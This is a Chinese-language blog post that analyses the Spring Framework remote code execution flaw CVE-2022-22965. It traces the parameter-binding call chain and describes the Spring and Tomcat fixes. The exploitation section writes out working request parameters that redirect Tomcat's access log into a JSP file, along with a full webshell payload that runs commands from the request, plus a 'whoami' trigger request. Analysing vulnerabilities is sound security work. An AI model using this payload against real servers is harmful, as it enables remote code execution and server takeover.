Spring 远程命令执行漏洞分析(CVE-2022-22965)
0x00 前言
最近想学习学习spring框架方面的漏洞。刚好今年上半年爆了一个spring框架的远程命令执行漏洞,随即赶紧来分析一波
这个漏洞总的来说是因为:通过spring参数绑定处存在的缺陷使得可以修改tomcat的日志记录相关类AccessLogValve的成员变量从而达到修改tomcat日志记录的配置,最终导致写入jsp马
0x01 环境搭建
jdk 9.0.4
tomcat 8.5.27(8.5.79漏洞测试失败)
spring-beans 5.3.17
spring-boot 2.7.1(内置为spring mvc 5.3.21)
war包部署
首先需要将源码打包成war
此时会在target目录下生成项目的war包
将其放置在tomcat/webapps/下面
点击setart.bat启动tomcat此时就会生成对应的目录
修改目录名为ROOT使该项目运行在根路径下面
访问项目,正常运行
远程调试
此时我们需要用idea调试war包,怎么做呢
首先给tomcat/bin/catalina.bat前面添加如下代码
PS: 此处端口号一定要和idea中配置的端口号一致
启动tomcat
在源码处打开IDEA,点击配置,添加一个remote jvm debug,配置如下,必须与catalina.bat中配置的端口号相同
点击debug,当出现如下显示则说明远程调试搭建成功
在这里打上断点
访问/test?username=aaa时成功debug
参考:https://blog.csdn.net/qq_38217294/article/details/121769266
0x02 漏洞利用
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
发送带有webshell的请求,此处使用header头是因为%>这种的字符放在请求参数中可能存在bug
其中
class.module.classLoader.resources.context.parent.pipeline.first.pattern
的值为
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
PS:
AccessLogValve
输出的日志中可以通过形如
%{xxx}i
等形式直接引用HTTP请求和响应中的内容
最终会在网站根目录webapps/ROOT下写入tomcatwar.jsp
访问/tomcatwar.jsp?pwd=j&cmd=whoami,成功getshell
POC:
0x03 漏洞分析
spring从http请求中自动解析变量,并赋值给user对象,这就是Spring的参数绑定
参数绑定支持多层嵌套,比如请求参数名为a.b.c.d时,则有以下的调用链:
User.geta()
a.getb()
b.getc()
c.setd()
具体spring是如何进行参数绑定的可以跟一下这篇文章,写的很详细
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
这里我大概讲一下
首先说一下入口,tomcat处理好request对象后交给spring的DispatcherServlet#doDispatch方法
跟入ha.handle,这里一路跟下去到dobind开始讲解,中间的部分可以参考https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
来到doBind后可以看到mpvs中包含了请求的参数
跟进后,可以看到applyPropertyValues,大概能猜到在这里进行参数的赋值
跟进applyPropertyValues,可以看到this.getPropertyAccessor()是User的包装类,然后调用setPropertyValues给User赋值
跟进setPropertyValues,可以看到对propertyValues进行遍历(这里的propertyValues就是之前那个mpvs),对每一个PropertyValue进行参数绑定
跟入setPropertyValue,这个函数非常关键,这个getPropertyAccessorForPropertyPath就是获取参数key表示的最终包装类。
比如参数key为class.module.classLoader.resources.context.parent.pipeline.first.directory。则这里的nestPa就是getfirst()返回值即Accesslogvalve的包装类,然后调用其setPropertyValue给directory赋值
getPropertyAccessorForPropertyPath
这里我们跟进getPropertyAccessorForPropertyPath看看它到底是怎么做的,此时传入的propertyName为
class.module.classLoader.resources.context.parent.pipeline.first.directory
这里也可以参考麦兜师傅的文章:https://paper.seebug.org/1877/#_3
getPropertyAccessorForPropertyPath(String)
:该方法通过递归调用自身,实现对
class.module.classLoader.resources.context.parent.pipeline.first.pattern
的递归解析,设置整个调用链。
跟进后,首先计算第一个.出现的位置,这里计算出来是5,然后按点分割。此时nestedProperty为class,nestedPath为module.classLoader.resources.context.parent.pipeline.first.directory。注意这里的this为user的包装类
然后在getNestedPropertyAccessor方法,这个方法会返回class的包装类,跟进去看一下
跟进getPropertyValue,其中tokens在是nestedProperty的格式化效验,也就是参数中的id
跟进getLocalPropertyHandler
this为user的包装类,这里可以理解为获取user类的class成员变量的属性描述器,里面有属性的get/set方法,可以对该属性进行一些修改操作
然后对其包装一下并返回给ph,回到上层来到ph.getValue
跟入getValue,来到了最后的地方了。class的包装类获取自己的get函数然后反射调用从而达到获取class对象
回到上一层,此时我们有了class对象了,然后return回去
回到上一层,给class对象包装一下继续返回
回到了刚开始的地方,这里的nestedPa就是class对象的包装类。然后调用nestedPa.getPropertyAccessorForPropertyPath,再次进入该函数,但是此时this就变成了class对象的包装类而不是user对象了。寻找下一个点然后分割字符串
此时getNestedPropertyAccessor就是为了获取module的包装类了,和上面的步骤一样先获取class中module的属性描述符然后从中拿到module的getter方法,反射调用getter最终获得module对象然后包装一下返回给nestedPa。可以看到nestedPa是module的包装类
再调用getPropertyAccessorForPropertyPath方法,就获取到了classloder的包装类。
注意这里的classloader实际上是parallelwebappclassloader,只有在war包部署的情况下才会返回的是parallelwebappclassloader
这里也是跳向tomcat的关键,module对象是java.lang包下的,而parallelwebappclassloader是tomcat-embed-core包下的。实现了从spring跳向了tomcat,接下来就是一步步获取tomcat内置的Accesslogvalve类
class.module.classLoader.resources.context.parent.pipeline.first.directory
我们现在走到了classloder这一步,接下来继续调用getPropertyAccessorForPropertyPath获取resource,this.getNestedPropertyAccessor也就是执行parallelwebappclassloader#getresources
可以看到拿到了standroot的包装类
继续getPropertyAccessorForPropertyPath,等同于standroot#getcontext,获得standcontext的包装类
继续getPropertyAccessorForPropertyPath,等同于standcontext#getparent,获得standHost的包装类
继续getPropertyAccessorForPropertyPath,等同于standHost#getpipeline,获得standpipeline的包装类
继续getPropertyAccessorForPropertyPath,等同于standpipeline#getfirst,终于拿到了Accesslogvalve的包装类
继续getPropertyAccessorForPropertyPath,因为字符串已经没点了,所以进入else分支返回Accesslogvalve的包装类
一路返回回去,回到setPropertyValue,此时nestedPa就是Accesslogvalve的包装类
setPropertyValue
此时利用Accesslogvalve包装类的setPropertyValue赋值
其中pv如下,这样就使得Accesslogvalve对象的directory值变为了webapps/ROOT
同样的发送
class.module.classLoader.resources.context.parent.pipeline.first.pattern
=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
时就会让Accesslogvalve对象的pattern值变为参数的value,其中%{c2}i 会从header中取出对应的并替换这里
总结
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
按照上述调试方法,依次调试完所有的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
User.getClass()//Classjava.lang.Class.getModule()//modulejava.lang.Module.getClassLoader()//parallelwebappclassloaderorg.apache.catalina.loader.ParallelWebappClassLoader.getResources()//standRootorg.apache.catalina.webresources.StandardRoot.getContext()//standContextorg.apache.catalina.core.StandardContext.getParent()//standHostorg.apache.catalina.core.StandardHost.getPipeline()//standPipelineorg.apache.catalina.core.StandardPipeline.getFirst()//AccessLogValveorg.apache.catalina.valves.AccessLogValve.setPattern()
正如漏洞利用那块所说
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
这样就可以使得tomcat的日志输出内容为我们定制的webshell并且日志后缀为jsp并且文件名为tomcatwar并且保存在网站根目录下
0x04 利用关键点
Web应用部署方式
必须要是以war包的部署方式
ParallelWebappClassLoader
在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下
classLoader
嵌套参数被解析为什么,如下图:
这个并不是我们想要的classloder,其没有getResources方法
JDK版本
必须得是jdk 9以上的版本,因为在jdk9以下的版本中Class并没有module属性。从而无法获取classloder对象
但是还可以通过class.getclassloder获取classloder对象呀,为什么要用class.module.classloder而不用class.classloder呢?
因为在spring做了安全保护,不允许获得class的classloder属性描述器,从而就无法反射调用getclassloder获取classloder对象
在JDK 1.9之后,Java为了支持模块化,在
java.lang.Class
中增加了
module
属性和对应的
getModule()
方法,自然就能通过如下调用链绕过判断:
user.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader() // 绕过
BarClassLoader.getBaz()
......
这块麦兜师傅说的很清楚了:https://paper.seebug.org/1877/#_4
0x05 修复措施
Spring 5.3.18修复
可以看到在获取对象的属性描述符时更改了判断逻辑。现在是获取Class对象的属性描述器时只能获取到name和以Name结尾的属性的属性描述器了,所以说就获取不到module的属性描述器了,从而无法getmodule。利用
java.lang.Class.getModule()
的路子就走不通了。
Tomcat 9.0.62修复
将ParallelWebappClassLoader父类WebappClassLoaderBase的getResource方法修改为直接返回null
堵住了class.module.classLoader.resources
0x06 总结
总的来说就是spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader.resources.context.parent.pipeline.first.pattern这样的参数可以穿越修改AccessLogvlave的pattern属性,从而导致tomcat的日志配置被修改。通过该方式修改日志的内容以及文件名达到写马的目的
- 明白spring参数绑定的流程,主要在getPropertyAccessorForPropertyPath和setPropertyValue
举个例子:对于class.module.classLoader.resources.context.parent.pipeline.first.pattern = xxxx
在getPropertyAccessorForPropertyPath中可以理解为首先从user中获取class的属性描述器,然后从属性描述器中获取getclass方法然后反射调用user#getclass获取class对象。然后从class中获取module的属性描述器,然后从属性描述器中获取getmodule方法然后反射调用class#getmodule获取module对象。然后从module中获取classLoader的属性描述器,然后从属性描述器中获取getclassLoader方法然后反射调用module#getclassLoader获取classLoader对象。。。。。。。。。。最终反射调用standpipeline#getfirst获取AccessLog对象
然后调用AccessLog对象包装类的setPropertyValue方法设置AccessLog.pattern的值为xxxx
- 在此基础上可以很容易理解payload是如何修改AccessLogvlave属性值的
0x07 参考文章
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
https://www.kingkk.com/2022/04/CVE-2022-22965-SpringFramework-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.anquanke.com/post/id/272149
https://tttang.com/archive/1532/
https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging
版权归原作者 浔阳江头夜送客丶 所有, 如有侵权,请联系我们删除。